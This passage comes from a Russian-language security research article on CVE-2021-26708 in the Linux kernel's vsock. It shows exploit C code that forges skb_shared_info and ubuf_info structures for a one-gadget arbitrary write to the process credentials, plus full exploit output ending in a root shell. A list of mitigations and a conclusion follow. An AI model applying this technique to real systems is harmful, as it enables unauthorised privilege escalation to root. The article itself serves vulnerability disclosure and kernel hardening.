Взглянем на часть кода эксплойта, в которой подготавливаются данные для перезаписи объекта sk_buff
:
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
Структура skb_shared_info
располагается в данных для heap spraying по отступу SKB_SHINFO_OFFSET
, который составляет 3776 байт. Указатель skb_shared_info.destructor_arg
должен хранить адрес структуры ubuf_info
. Я создаю поддельную структуру ubuf_info
по отступу MY_UINFO_OFFSET
в самом сетевом пакете. Это возможно за счет того, что мне известен ядерный адрес атакуемого объекта sk_buff
. Содержимое перезаписанного sk_buff
изображено на следующей схеме.
А теперь рассмотрим, на что указывает destructor_arg
:
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
Как можно видеть, я придумал очень странный эксплойт-примитив для произвольной записи ядерной памяти. Все дело в том, что в образе ядра vmlinuz-5.10.11-200.fc33.x86_64
не нашлось ROP-гаджета, который мог бы переключить ядерный стек на контролируемую область памяти и при этом удовлетворял бы всем ограничениям при перехвате потока управления через skb_shared_info
. Поэтому я нашел способ выполнить произвольную запись с одного гаджета «в один выстрел». :)
В указатель на функцию callback
записан адрес ROP-гаджета. В регистре RDI
содержится первый аргумент функции callback
, а именно адрес самой структуры ubuf_info
. Значит, RDI + 8
— это адрес поля ubuf_info.desc
данной структуры. Гаджет копирует значение ubuf_info.desc
в регистр RDX
. В результате RDX
содержит адрес, по которому в памяти ядра расположены effective user ID
и effective group ID
, причем из этого адреса вычитается один байт. Этот байт очень важен: когда ROP-гаджет записывает число 0x0000000000000001 из регистра RSI
по адресу из RDX
, то единица не должна попасть в EUID
и EGID
, они должны быть перезаписаны нулем для поднятия привилегий.
Затем эксплойт повторяет ту же процедуру для перезаписи UID
и GID
. Привилегии в системе повышены, эксплойт теперь выполняется от пользователя root
. Это победа.
Вывод эксплойта, который демонстрирует всю процедуру эксплуатации уязвимости CVE-2021-26708:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Возможные средства предотвращения атаки
Существует ряд технологий, которые могли бы предотвратить эксплуатацию уязвимости CVE-2021-26708 в ядре Linux или хотя бы сделать ее более трудной.
-
Эксплуатация данной уязвимости невозможна, если ядро Linux использует карантин для своей динамической памяти, так как ошибочная перезапись освобожденной памяти происходит через очень короткое время после состояния гонки. Историю о моем прототипе
SLAB_QUARANTINE
можно прочесть в отдельной статье. -
Технология
MODHARDEN
из патча grsecurity предотвращает автоматическую загрузку модулей ядра в результате действий непривилегированных пользователей. -
Запись нуля в файл
/proc/sys/vm/unprivileged_userfaultfd
блокирует описанный метод фиксации данных атакующего в пространстве ядра. Эта настройка запрещает работу сuserfaultfd()
непривилегированным пользователям безSYS_CAP_PTRACE
. -
Запись
1
в sysctlkernel.dmesg_restrict
блокирует утечку информации через ядерный журнал. Эта настройка не дает непривилегированным пользователям читать его с помощью командыdmesg
. -
Контроль потока управления (Control Flow Integrity, CFI) мог бы помешать мне вызвать ROP-гаджет. Технологии такого класса, доступные для ядра Linux, можно найти в моей карте средств защиты ядра (Linux Kernel Defence Map).
-
С версии 5.13 ядро Linux поддерживает аппаратную технологию ARM Memory Tagging Extension (MTE), которая способна обнаружить использование памяти после освобождения.
-
Совсем недавно компания grsecurity опубликовала описание технологии
AUTOSLAB
. С ней ядро Linux выделяет память для своих объектов в отдельных кэшах аллокатора, созданных под каждый тип объекта. Это ломает технику heap spraying, которую я использую в прототипе эксплойта. -
Кейс Кук отметил, что запись
1
в sysctlpanic_on_warn
помешала бы моей атаке. Действительно, это превращает возможное повышение привилегий в ошибку отказа в обслуживании. К слову, я не рекомендую включатьpanic_on_warn
илиCONFIG_PANIC_ON_OOPS
на системах в промышленной эксплуатации, потому что это создает высокий риск отказа системы. Предупреждение ядра или oops — не такая редкая ситуация. Больше подробностей можно найти в документации моего проекта kconfig-hardened-check.
Заключение
Исследование и исправление уязвимости CVE-2021-26708 в ядре Linux, а также разработка прототипа эксплойта для нее были интересной и при этом тяжелой работой.
Я смог превратить состояние гонки с небольшой ошибкой доступа к памяти в полноценное повышение привилегий на Fedora 33 Server для архитектуры x86_64, обойдя при этом аппаратные средства защиты SMEP и SMAP. В ходе этого исследования мне также удалось разработать несколько новых техник для эксплуатации уязвимостей в ядре Linux.
Уверен, что публикация этой статьи полезна для сообщества разработчиков ядра Linux. Взгляд на систему со стороны атакующего помогает улучшать средства защиты. И спасибо компании Positive Technologies за возможность сделать это исследование.